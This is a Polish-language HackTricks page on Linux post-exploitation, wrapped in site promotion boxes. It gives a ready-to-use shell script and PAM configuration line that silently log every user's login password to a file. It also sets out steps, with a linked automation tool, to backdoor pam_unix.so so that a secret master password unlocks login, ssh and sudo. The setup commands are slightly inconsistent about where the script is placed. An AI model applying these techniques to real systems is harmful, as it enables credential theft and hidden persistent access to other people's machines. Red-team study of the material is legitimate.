Linux Post-Exploitation
Reading time: 3 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Sniffing Logon Passwords with PAM
Skonfigurujmy moduł PAM, aby rejestrować każde hasło, które użytkownik używa do logowania. Jeśli nie wiesz, czym jest PAM, sprawdź:
{{#ref}} pam-pluggable-authentication-modules.md {{#endref}}
Aby uzyskać więcej szczegółów, sprawdź oryginalny post. To tylko podsumowanie:
Przegląd techniki: Moduły uwierzytelniania pluggable (PAM) oferują elastyczność w zarządzaniu uwierzytelnianiem w systemach opartych na Unixie. Mogą zwiększyć bezpieczeństwo poprzez dostosowanie procesów logowania, ale również stwarzają ryzyko, jeśli są niewłaściwie używane. To podsumowanie przedstawia technikę przechwytywania danych logowania za pomocą PAM, wraz z strategiami łagodzenia.
Przechwytywanie danych uwierzytelniających:
- Skrypt bash o nazwie
toomanysecrets.sh
jest tworzony w celu rejestrowania prób logowania, przechwytując datę, nazwę użytkownika ($PAM_USER
), hasło (poprzez stdin) oraz adres IP zdalnego hosta ($PAM_RHOST
) do/var/log/toomanysecrets.log
. - Skrypt jest oznaczony jako wykonywalny i zintegrowany z konfiguracją PAM (
common-auth
) za pomocą modułupam_exec.so
z opcjami do cichego uruchamiania i ujawnienia tokena uwierzytelniającego skryptowi. - Podejście to pokazuje, jak skompromitowany host Linux może być wykorzystany do dyskretnego rejestrowania danych uwierzytelniających.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Aby uzyskać więcej szczegółów, sprawdź oryginalny post. To tylko podsumowanie:
Moduł Uwierzytelniania Pluggable (PAM) to system używany w systemie Linux do uwierzytelniania użytkowników. Działa na trzech głównych koncepcjach: nazwa użytkownika, hasło i usługa. Pliki konfiguracyjne dla każdej usługi znajdują się w katalogu /etc/pam.d/
, gdzie biblioteki współdzielone obsługują uwierzytelnianie.
Cel: Zmodyfikować PAM, aby umożliwić uwierzytelnianie za pomocą określonego hasła, omijając rzeczywiste hasło użytkownika. Skupia się to szczególnie na bibliotece współdzielonej pam_unix.so
, używanej przez plik common-auth
, który jest dołączany przez prawie wszystkie usługi do weryfikacji hasła.
Kroki do modyfikacji pam_unix.so
:
- Zlokalizuj dyrektywę uwierzytelniania w pliku
common-auth
:
- Linia odpowiedzialna za sprawdzanie hasła użytkownika wywołuje
pam_unix.so
.
- Zmodyfikuj kod źródłowy:
- Dodaj instrukcję warunkową w pliku źródłowym
pam_unix_auth.c
, która przyznaje dostęp, jeśli używane jest zdefiniowane hasło, w przeciwnym razie kontynuuje zwykły proces uwierzytelniania.
- Przeładuj i zastąp zmodyfikowaną bibliotekę
pam_unix.so
w odpowiednim katalogu. - Testowanie:
- Dostęp jest przyznawany w różnych usługach (logowanie, ssh, sudo, su, wygaszacz ekranu) za pomocą zdefiniowanego hasła, podczas gdy normalne procesy uwierzytelniania pozostają nietknięte.
note
Możesz zautomatyzować ten proces za pomocą https://github.com/zephrax/linux-pam-backdoor
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.